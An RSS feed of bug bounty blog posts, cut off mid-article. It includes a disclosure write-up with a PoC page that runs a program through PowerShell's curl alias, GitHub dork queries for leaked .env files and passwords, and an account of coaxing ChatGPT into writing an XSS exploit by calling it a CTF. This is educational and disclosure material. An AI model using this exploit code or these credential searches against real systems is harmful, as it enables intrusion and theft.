<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Imad Husanovic on Medium]]></title>
        <description><![CDATA[Stories by Imad Husanovic on Medium]]></description>
        <link>https://medium.com/@deadoverflow?source=rss-387ab5c84e21------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0WPWGICGQ9KxYyaUiyp37g.png</url>
            <title>Stories by Imad Husanovic on Medium</title>
            <link>https://medium.com/@deadoverflow?source=rss-387ab5c84e21------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 12:54:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@deadoverflow/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Found A Windows RCE]]></title>
            <link>https://medium.com/@deadoverflow/how-i-found-a-windows-rce-c8551c6a6042?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8551c6a6042</guid>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Wed, 07 Jan 2026 15:45:51 GMT</pubDate>
            <atom:updated>2026-01-07T15:45:51.167Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DNyzyPP8zbz4UdorxiAo3g.png" /></figure><p>So it’s true, the title you just read from this article is correct and I indeed, along with a lot of other researchers, have found a terrifying RCE on Windows 11 latest version! But before I get into this story check out my educational YouTube channel where you get up to date videos about my findings and how to become a better bug bounty hunter!</p><blockquote>YouTube: <a href="https://youtu.be/Td3Zn57uI_Y">https://youtu.be/Td3Zn57uI_Y</a></blockquote><p>Also check out my courses if you want to learn how to be better than 80% of other researchers and have a chance to do a collab with me on a bounty program, I will be picking a lucky winner very soon so hurry up!</p><blockquote><a href="https://deadoverflow.gumroad.com/l/mastering-cybersecurity-course?layout=profile">https://deadoverflow.gumroad.com/l/mastering-cybersecurity-course</a></blockquote><h3>The Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*926eeJNFg3xk7zyC" /></figure><p>Before any of this even happened I was doing an interview with <strong>Daniel Stenberg</strong>, the developer behind <strong>libcurl </strong>which is very wide spread tool! We were discussing the problems with bug bounty and we took one report as an example while we were discussing the bad hackerone reports his bug bounty program gets on almost daily basis. The report was rather odd, and it highlighted a very weird problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8ox1Rm_fD01FeTa6-glZg.png" /></figure><p>Looking at it, it was very obvious that this has nothing to do with actual curl but rather a powershell alias which also holds the same name.<br>The reported stated that the <em>— version</em> flag didn’t work and that’s because this powershell alias doesn’t work the same way as it literally isn’t libcurl.</p><p>However the steps to reproduce were very interasting when I first saw this report!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w2GbU_JBTd4vgQHWufi3Pg.png" /></figure><p>See if you would host an application on <em>localhost:5000</em> which would just return the following HTML:</p><pre>&lt;script&gt;<br>alert(1);<br>&lt;/script&gt;</pre><p>And then typed this into the powershell:</p><pre>curl http://localhost:5000</pre><p>The <em>alert(1)</em> would execute and you would see this weird window pop up!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zLOYb7p3aVr7v7vSDe59jA.png" /></figure><p>So this was baffling to me. I had no idea why would such a thing even exist on windows I mean executing JS from running a simple command is very odd. But I continued testing. I wanted to see what else can we do with this.</p><h3>The Vulnerability (RCE)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y1a9yc0KYeDVhnJ-bUVOKg.png" /></figure><p>Fast forward a couple of days and couple of testing later finally an RCE PoC was made. It consisted of hosting a malicious web application which would return the following JS code:</p><pre>&lt;html&gt;<br>    &lt;head&gt;<br>        &lt;title&gt;CVE-2025-54100 PoC&lt;/title&gt;<br>        &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=10&quot;&gt;<br>    &lt;/head&gt;<br>    &lt;body&gt;<br>        &lt;h1&gt;PoC&lt;/h1&gt;<br>        &lt;script&gt;<br>                try {<br>                    new ActiveXObject(&quot;WScript.Shell&quot;).Run(&quot;calc.exe&quot;);<br>                    return;<br>                } catch(e) {}<br>                try {<br>                    new ActiveXObject(&quot;Shell.Application&quot;).ShellExecute(&quot;calc.exe&quot;, &quot;&quot;, &quot;&quot;, &quot;open&quot;, 1);<br>                    return;<br>                } catch(e) {}<br>            }<br>        &lt;/script&gt;<br>    &lt;/body&gt;<br>    &lt;/html&gt;</pre><p>And after running a curl command to connect to this attacker webpage you would be greeted with a calculator popping up. Amazing!</p><h3>Vulnerability Disclosure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oL--O-jrru0Oxv4314hXWg.png" /></figure><p>Just a couple of days after the vulnerability was reported it was also fixed and this is no longer a thing. Although a questionable fix but in the end, it does the job!</p><p>I was amongst 5 other researchers which found this issue and big thank you for everyone’s effort in this, you truly are amazing!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*NoZKPg5ZWdOI9pyMkrlXPg.png" /></figure><p>You can find all the researchers here and if you want to check this out for yourself here is the link!</p><p><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-54100">Security Update Guide - Microsoft Security Response Center</a></p><p>Also if you want to see a full coverage on this, it’s on my YouTube channel!</p><h3>Why This Even Existed?</h3><p>The issue with this is that the <strong>curl</strong> on Windows PowerShell was actually invoking <strong>Invoke-WebRequest</strong> which for some reason parses the JS and executes it. Weird issue if you ask me but hey if removing it might break half of the OS, then just make sure there is some prevention happening. We do depend on this old insecure code at times and that’s why stupid critical issues will exist as we just can’t kick back the old mistakes our naive developers made!</p><p>Thanks for reading this, and until next time, peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8551c6a6042" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[You need to stop making this mistake in Bug Bounty!]]></title>
            <link>https://medium.com/@deadoverflow/you-need-to-stop-making-this-mistake-in-bug-bounty-924725c66e68?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/924725c66e68</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Tue, 01 Apr 2025 16:36:32 GMT</pubDate>
            <atom:updated>2025-04-01T16:36:32.551Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OOo3NTpH1eaUeOZl.png" /></figure><p>Bug bounty hunting is an incredibly rewarding field, both in terms of skill development and financial gain. However, many newcomers make the mistake of diving into the most popular programs without realizing that they are competing with thousands of experienced hunters. If you want to maximize your chances of finding vulnerabilities and earning bounties, you need a strategic approach to picking the right programs.</p><p>In this article, we’ll break down how to choose the best bug bounty programs, why newer programs or those with fewer resolved vulnerabilities are goldmines, and how joining my <strong>Mastering Cybersecurity</strong> course gives you an exclusive opportunity to hunt alongside me and refine your skills with real-world experience.</p><blockquote>Course: <a href="https://deadoverflow.gumroad.com/l/mastering-cybersecurity-course">https://deadoverflow.gumroad.com/l/mastering-cybersecurity-course</a></blockquote><blockquote>YouTube: https://youtube.com/@deadoverflow</blockquote><h3>The Importance of Picking the Right Bug Bounty Programs</h3><p>Not all bug bounty programs offer the same level of opportunity. Some programs have been around for years, meaning they have already been heavily tested by experienced hunters. Others may have strict rules that limit what you can test or have low payouts, making your efforts less rewarding.</p><p>Instead of blindly jumping into a random program, here’s what you should consider:</p><h3>1. Look for Newer Programs</h3><p>New programs are the best places to start because:</p><ul><li>They haven’t been heavily tested yet, meaning there are still undiscovered vulnerabilities.</li><li>The company is still learning how to handle security reports, making them more open to a variety of submissions.</li><li>You get the chance to build a good reputation early by submitting quality reports before the program becomes crowded.</li></ul><p>To find newer programs, regularly check platforms like <strong>HackerOne</strong> and <strong>Bugcrowd</strong> for the latest additions. You can also follow security researchers on Twitter/X or join bug bounty communities where people discuss new program launches.</p><h3>2. Check the Number of Resolved Vulnerabilities</h3><p>A program that has thousands of resolved vulnerabilities might look promising, but in reality, this means:</p><ul><li>Many of the common issues have already been found.</li><li>You’ll have to dig deeper and invest more time in finding complex vulnerabilities.</li><li>The competition is fierce, making it harder to get accepted into the program or to submit unique findings.</li></ul><p>Instead, look for programs with fewer resolved vulnerabilities, ideally under 100. This means the surface area is still fresh, and basic vulnerabilities might still exist.</p><h3>3. Consider Private Programs</h3><p>Many platforms offer <strong>private bug bounty programs</strong> that are invite-only. These programs often have fewer hunters, which means:</p><ul><li>Less competition.</li><li>Higher chances of finding valuable bugs.</li><li>Often better payouts since private programs usually target more serious security flaws.</li></ul><p>To get invited to private programs, you need to build a solid reputation by participating in public programs first, writing good reports, and maintaining a professional relationship with the platform.</p><h3>4. Check the Scope</h3><p>Some programs have very <strong>restricted scopes</strong>, meaning they only allow testing on specific parts of their systems. Others have <strong>wide scopes</strong>, covering multiple domains, APIs, and mobile apps. You should:</p><ul><li>Prefer <strong>wide scope</strong> programs, as they provide more opportunities to find vulnerabilities.</li><li>Avoid programs with unnecessary restrictions that might limit your testing methodologies.</li></ul><h3>5. Look for Programs That Reward All Findings</h3><p>Some companies only reward critical vulnerabilities, while others offer payouts for all valid reports, even low-severity bugs. If you’re just starting, it’s better to work with programs that recognize and reward <strong>all types of findings</strong>, as this helps you gain experience, improve your methodology, and increase your chances of earning.</p><h3>Why Many Hunters Fail at Picking Programs</h3><p>A common mistake is rushing into well-known programs like PayPal, Uber, or Twitter, expecting to find bugs easily. These programs are <strong>saturated with expert hunters</strong>, meaning:</p><ul><li>Every common vulnerability has already been found and reported.</li><li>You’ll need deep knowledge and unique methodologies to make discoveries.</li><li>Your reports are more likely to be duplicates, leading to rejection and wasted effort.</li></ul><p>By targeting newer or less-tested programs, you put yourself in a <strong>less competitive and more rewarding</strong> environment.</p><h3>Join My Mastering Cybersecurity Course and Hunt With Me!</h3><p>If you want to take your bug bounty hunting to the next level, my <strong>Mastering Cybersecurity</strong> course is designed to give you a hands-on experience in hunting vulnerabilities effectively. Unlike other courses that just explain concepts, this one provides real-world training where you will:</p><ul><li><strong>Learn how to pick the best bug bounty programs</strong> and maximize your chances of finding valid vulnerabilities.</li><li><strong>Understand reconnaissance techniques</strong> that will help you map out targets efficiently.</li><li><strong>Develop custom hacking methodologies</strong> that go beyond traditional checklists.</li><li><strong>Get exclusive access to hunting sessions with me</strong>, where we explore real programs together and find vulnerabilities in real time.</li></ul><p>This is not just a course; it’s a <strong>community and mentorship program</strong> where you will have the opportunity to learn from my experience and apply advanced strategies to your own bug bounty hunting journey.</p><h3>Limited to Only 1,000 Students</h3><p>Since I want to keep this experience <strong>highly interactive and personal</strong>, I am limiting access to only <strong>1,000 people</strong>. If you’re serious about bug bounty hunting and want to gain an edge over others, now is the time to <strong>secure your spot.</strong></p><h3>Conclusion</h3><p>Picking the right bug bounty programs is a game-changer for your success in the field. Instead of chasing after overpopulated programs, target <strong>newer and less-explored</strong> ones to increase your chances of finding unique vulnerabilities.</p><p>By applying the strategies in this article, you’ll not only improve your earnings but also <strong>build a solid reputation in the bug bounty community</strong>.</p><p>And if you’re ready to <strong>accelerate your learning</strong> and hunt with me, make sure to <strong>join the Mastering Cybersecurity course</strong> before all spots are filled. Let’s dominate bug bounty hunting together!</p><p><strong>See you inside!</strong> 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=924725c66e68" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I found 4 vulnerabilities in only 1 day?]]></title>
            <link>https://systemweakness.com/how-i-found-4-vulnerabilities-in-only-1-day-473a870b583a?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/473a870b583a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Thu, 27 Mar 2025 17:00:13 GMT</pubDate>
            <atom:updated>2025-03-28T14:58:19.791Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rB_k6hFpDYhvTjIvKr3hA.jpeg" /></figure><p>Imagine waking up, grabbing your laptop, and by the end of the day, you’ve already found <strong>four security vulnerabilities</strong>. Sounds crazy, right? But that’s exactly what happened to me, and in this post, I’ll show you how. And if you want to learn my full process, I’ve put together a course that reveals everything — but it’s limited to just 1,000 people, because I want to keep my methods and techniques a secret still. Make sure you are one of those people because this is a one in a lifetime opportunity, you can change your life with this course so make sure to get it before it’s gone!</p><blockquote>Course: <a href="https://deadoverflow.gumroad.com/l/mastering-cybersecurity-course">https://deadoverflow.gumroad.com/l/mastering-cybersecurity-course</a></blockquote><blockquote>YouTube: <a href="https://www.youtube.com/watch?v=6qJEBcKRZdg">https://youtube.com/@deadoverlow</a></blockquote><h4>How I found 4 vulnerabilities within 1 day?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*88K2LDpclIT4vNHb" /></figure><p>Bug bounty is not something that you can learn to do. It takes practice and skill but mostly, the deciding factor on weather you will be a successful bug bounty hunter is how hard you try and how bad you want it. Remember, you are competing with other people and I teach a lot about this in my course. You need to be quicker then them and spot issues people might have overlooked and this can be challenging, but also not really.</p><h4>How I did it?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*-A3owzMtQDOgvZRd" /></figure><p>When I was starting out, I just wished someone would show me things I know today, I wish it was accessible because bug bounty hunting is not just hunting and hoping you find something. There is a little secret which we bounty hunters often hide since we want most of it for ourselves. But, since I understand the struggle, I will help only 1000 of you since I still want to keep it a secret, while simultaneously helping the beginners taste what is it like to be a true bug bounty hunter.</p><h4>My SECRET Method…</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Tv7Ax8qr7np1aqHk.png" /></figure><p>So, what to do when you pick a program to start hacking on? Most of you just go and try to test for XSS or CSRF, which is fine. But that’s the mistake most beginners make. And after you fail to find these vulnerabilities, you move on to another program and so on. That’s really why you aren’t finding bugs and that’s why other hackers are outperforming you. It’s that simple.</p><p>So here is what I have to say about this:</p><p>When you pick a program, before going straight into hacking, firstly learn what it is, how it operates, learn all API endpoints, see what’s available and what’s not. Essentially, figure out your attack surface.</p><p>If there is a login functionality, take a mental note of it, there could be a SQL injection. Or there is a search functionality, again take mental note of it, maybe now there is XSS.</p><p>So that’s what you are doing wrong, and if you want to learn more about it, make sure to join my course before it’s late. You get a lifetime support of content every month, and access to all of the tools I make!</p><h4>Thanks for reading</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cQCTngN9mZCfTcfk" /></figure><p>Thanks for reading my blog post, hope you enjoyed this little snippet I had to share. Make sure to follow me here and subscribe on my YouTube channel as well! And as always, stay safe, responsible and I will see you in the next blog. Peace!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=473a870b583a" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-i-found-4-vulnerabilities-in-only-1-day-473a870b583a">How I found 4 vulnerabilities in only 1 day?</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Best Bug Bounty Tips of 2025!]]></title>
            <link>https://medium.com/@deadoverflow/best-bug-bounty-tips-of-2025-6f5368491526?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f5368491526</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Mon, 17 Mar 2025 08:41:15 GMT</pubDate>
            <atom:updated>2025-03-18T12:24:42.475Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1FGHy4A8B_Y-aM9N.jpg" /></figure><p>Before we dive into the best bug bounty tips for 2025, I want to give a quick shoutout to my <strong>YouTube channel</strong>! If you’re serious about cybersecurity, hacking, and bug bounty hunting, make sure to <strong>subscribe</strong> to my channel <a href="https://www.youtube.com/watch?v=z5GjRnmuRcw">deadoverflow</a>. I post premium content, walkthroughs, and hacking tips that you won’t find anywhere else, so don’t miss out!</p><h4>Introduction</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0-wDB08ODiv0bzpJ.jpg" /></figure><p>One of the biggest game changers is recon. If you can discover attack surfaces that others overlook, your chances of finding high-impact vulnerabilities go way up. Subdomain enumeration with tools like <strong>Amass</strong> and <strong>Subfinder</strong> is still crucial, but combining them with <strong>Chaos</strong> for asset discovery will give you an edge. Content discovery using <strong>FFuF</strong>, <strong>dirsearch</strong>, and <strong>gau</strong> is more relevant than ever, especially when paired with archive scraping from Wayback Machine and GitHub dorking to find old, forgotten endpoints.</p><h3>GitHub Dorking</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*telJkkOnyKqrHO5D" /></figure><p>Many developers unknowingly push sensitive information to GitHub, making it a goldmine for bug hunters. Using tools like <strong>GitHub Dorking</strong>, you can uncover API keys, database credentials, and internal application endpoints. Searches like filename:.env or org:targetcompany password can reveal valuable data. Combining this with <strong>GitRob</strong> and <strong>TruffleHog</strong> helps automate and refine your searches, making it easier to find high-value targets.</p><h3>Exploiting Race Conditions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_4kQdr0fASw4Q6v1.png" /></figure><p>Race conditions are becoming a major focus in bug bounty programs, especially for financial applications. When two or more requests are processed simultaneously, unexpected behavior can occur, leading to duplicate transactions, privilege escalation, or bypassing security mechanisms. Using <strong>Burp Suite Intruder</strong> or <strong>Turbo Intruder</strong>, you can send rapid concurrent requests to endpoints handling transactions, coupon redemptions, or authentication processes to detect and exploit race conditions.</p><h3>Advanced API Hacking</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FtLqQAnJH1VLOn5U" /></figure><p>As companies rely more on APIs, understanding how to exploit them is a must. Many APIs have <strong>insecure direct object references (IDOR)</strong>, <strong>rate-limiting flaws</strong>, or <strong>poor authentication</strong>. Using <strong>Postman</strong>, <strong>Burp Suite</strong>, and <strong>GraphQL introspection queries</strong>, you can map out endpoints and manipulate requests to access unauthorized data. Looking for misconfigured <strong>OAuth flows</strong> and <strong>JWT manipulation</strong> can also lead to high-impact vulnerabilities.</p><h3>Overall thoughts</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_U_GWvr6a6jHHGae" /></figure><p>Another shift happening in bug bounty is the increasing role of AI. It’s no longer just a buzzword — if you’re not using AI-assisted analysis, you’re falling behind. AI tools can help speed up reconnaissance, automate payload generation, and even assist in analyzing large codebases for potential security flaws. If you’re dealing with SQLi, XSS, or SSRF, AI can help you craft more effective payloads, and if you’re working on complex bug reports, it can help structure and refine your findings.</p><p>Thanks for reading, make sure to check out my YouTube channel where I post more frequently about cyber security content. Stay safe and responsible, peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f5368491526" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Google AI to hunt for XSS]]></title>
            <link>https://medium.com/@deadoverflow/using-google-ai-to-hunt-for-xss-f81612e811d1?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/f81612e811d1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Wed, 30 Oct 2024 15:19:26 GMT</pubDate>
            <atom:updated>2024-10-30T15:19:26.097Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*vOp5hgikFFnn6ypr" /></figure><p>Before I start, make sure to subscribe to my YouTube channel as I’m making a hacking series in which you will learn anything and everything you need to know about hacking! <a href="https://www.youtube.com/watch?v=R9aZ2I7D2X4">https://youtube.com/@deadoverflow</a></p><p>Also once I hit 2,000 followers on Medium, I will release my e-book on “How to actually find a bug”, so make sure you follow me and help me reach that goal!</p><h3>Using Google AI to hunt for XSS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FmUpAe85OaX9f3yk" /></figure><p>I have already tried this exact same challenge with ChatGPT 3.5 and you can check that blog as well, you can find it on my profile. Now I will try to give the exact same challenge to Gemini to see what is the difference.</p><h3>The challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*-khgyCAZw4jU-dzsnFOcEw.png" /></figure><p>I will be giving Gemini the mystery lab challenge from XSS topic to see if I can guide him into giving me an exploit that triggers the XSS. Without further a do, let’s just start!</p><h3>Gemini starts cooking</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v8GSREZ4xxfKHiz7yIbbZg.png" /></figure><p>Mystery lab was generated and now let’s see if Gemini can find a vulnerability here. So I searched for “test123”, that way I can see all the places where my search query was placed inside of the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*8m2lCDaUqY5cKAA3UY3b9A.png" /></figure><p>After I searched for this, I navigated to the “Sources” tab and searched for my query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*vJ7JrHGjXOaL_4C3G-6AYQ.png" /></figure><p>Now I will copy this JS code and give it to Gemini and ask him to tell me what could trigger an XSS here. After I asked him, I don’t think he understood what I meant so I had to re ask him again.</p><p>After re asking him the same question, just some bits changed, here is what Gemini cooked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*Skoeb2qEuSbKWNEjuBiibw.png" /></figure><p>He still was clueless but I told him that this is for a CTF and I even gave him some more context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*5I4z8VnqK20etc4Mbb_chQ.png" /></figure><p>But no, Gemini is not able to do hacking at this time. However I went back to ChatGPT to see if he can pull this off. I asked him the exact same question and here is the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*aocJoJ0KY23cqxEkLAEXYg.png" /></figure><p>Chat GPT gave me a potential exploit but lets see if this will actually work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*E50T3rG6RZSE7f0VZiY8gw.png" /></figure><p>As seen, it doesn’t work so I will tell GPT that single quotes are encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*D1YBoESZxhTx0PsTfW96Aw.png" /></figure><p>Now we are getting somewhere, he knows that we need to use ${} but I will remind him that this exploit does nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*mazIpJISwZDc5I1yPsT2qQ.png" /></figure><p>He is sooo close but not quite there yet, so I need to still ask him to let him figure this out again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*4bpRdIbCjTVckUO5yC84Uw.png" /></figure><p>And there we go, chat GPT gave me an actual exploit code which could trigger alert(1). Now I will paste this first example and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_X4HVQH9DpqZNS3W_PGHDw.png" /></figure><p>As you can see, Chat GPT is able to solve a really hard challenge few of you might’ve gave up on but still I take this as an absolute win.</p><h3>Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*05adObBQmNwb5lpZ" /></figure><p>In terms of AI, Chat GPT is doing an amazing job and he is quite nailing these challenges, I’d recommend you use Chat GPT with you actual research as at least it can point you in the right direction. Gemini is not quite there yet but GPT does this job better than I expected. Make sure to follow me and let me know which else vulnerability should I challenge GPT with. Stay safe and continue hacking, peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f81612e811d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to learn Game Hacking in 6 minutes | Part 1]]></title>
            <link>https://systemweakness.com/how-to-learn-game-hacking-in-10-minutes-part-1-19991004fd99?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/19991004fd99</guid>
            <category><![CDATA[games]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Thu, 12 Sep 2024 22:18:44 GMT</pubDate>
            <atom:updated>2024-09-19T12:32:23.721Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KUA9y95mTza3jlZb" /></figure><p>Today I will showcase how easy it is to actually make cheats and hack games and the best part is that you can learn all of this in just under 10 minutes. Make sure to follow me here on medium if you are new because when I reach 2,000 followers I will drop a book that I have been writing which will teach you how to actually hunt for web vulnerabilities and bugs!</p><blockquote>Follow me on:</blockquote><blockquote>Instagram: <a href="https://instagram.com/deadoverflow/">https://instagram.com/deadoverflow/</a></blockquote><blockquote>YouTube: <a href="https://youtube.com/@deadoverflow">https://youtube.com/@deadoverflow</a></blockquote><h3>Before we start…</h3><p>Before I even start, I must notify you that programming is required in hacking and you should learn python today. Let me know if I should drop a course on how to get started with python for hacking!</p><h3>How to learn game hacking in 10 minutes</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*4UFWKKYV0E1UK0z4.jpg" /></figure><p>Game hacking is generally much easier then you think. You can actually learn this in just 10 minutes. Let me show it to you actually to waste no further time!</p><h3>What software do you need?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/0*XhJFWFapaqiBjDYu.png" /></figure><p>In terms of software, you must have Cheat Engine installed on your machine. It is very simple and easy to use and if you don’t already have it installed, you can check out the link below and set it up yourself!</p><p><a href="https://www.cheatengine.org/">Cheat Engine</a></p><h3>Actual Hacking</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lapuLLBZNhSGM8VVQOLzdA.png" /></figure><p>Today I will be making a harmless cheat for a popular game called Among Us and this will be enough to demonstrate how easy it is to actually make cheats. I will turn this into a 3 part series where in each part I will explain each step which is important when making a cheat. There are four important steps, those are:</p><h4>Figuring out what the cheat is going to be about</h4><p>The important step is actually just coming up with an idea of what you should hack in the game, this is the easiest step, it’s just basically asking yourself what do you want to do in game that others can’t. For example flying through walls etc..</p><h4>Getting the memory address of important assets</h4><p>Now it is important that we get memory address of the asset we are trying to hack. For example if we want to teleport around the map, then we need to find X and Y position of our player in memory to manipulate so we can teleport. This is really easy with cheat engine and it takes about 3–5 minutes to figure out what the memory address is. Note: It can take longer depending on what are you looking for in a game.</p><h4>Finding a stable pointer</h4><p>Finding a stable pointer is very crucial when making a cheat, and thankfully it’s very easy to do and cheat engine will take care of that. But there needs to be some explaining to do. The reason why we have to find a stable pointer which always points to our targeted address is when we restart the game, memory values and addresses change. For example the memory address of our players X position is 0x1234 but once we restart the game, the new memory address for the X position is 0x5678. So we need to find a pointer which will always point to the address of players X position in memory.</p><h4>Programming a cheat</h4><p>Now, once you have completed all of the steps above, it is the final step to make a cheat. It’s very simple as it requires some basic understanding and knowledge about programming but I will make sure to cover all of the important bits!</p><p>Now that you are familiar with the steps, it is time to start hacking and covering the first two steps!</p><h3>My Cheat</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*e9FMIqLczhrnMDEXzEODCQ.png" /></figure><p>I decided to make something harmless, in the game there a scientist role which can see how many people have died in the game in real time! But the scientist can only see it for like 5 seconds and the battery runs out. So the scientist has to do tasks to refuel the battery so he can use this feature again. For the <strong>“Figuring out what the cheat is going to be about</strong>”, I will be making a cheat which makes this battery never drain and the scientist can use this without doing the tasks or anything like that. So now let’s get the memory address of the important assets. For now we have to get the memory address of our players battery so let’s just do that!</p><p>Since it starts at 5, I will become scientist once again to reset the battery to 5 and then search for the value “5” in memory and also make sure you search for float values as this is a timer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*o1OJNbqCJsZ8cC2kjHbAJQ.png" /></figure><p>Now I will click “First Scan”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*rU7z0unI_27p4AXxHr7Jsw.png" /></figure><p>You can see that there are a lot of results so let’s decrease them by selling the “Unchanged value” in the “scan type” and then hit the <strong>“Next Scan”</strong> button!</p><figure><img alt="" 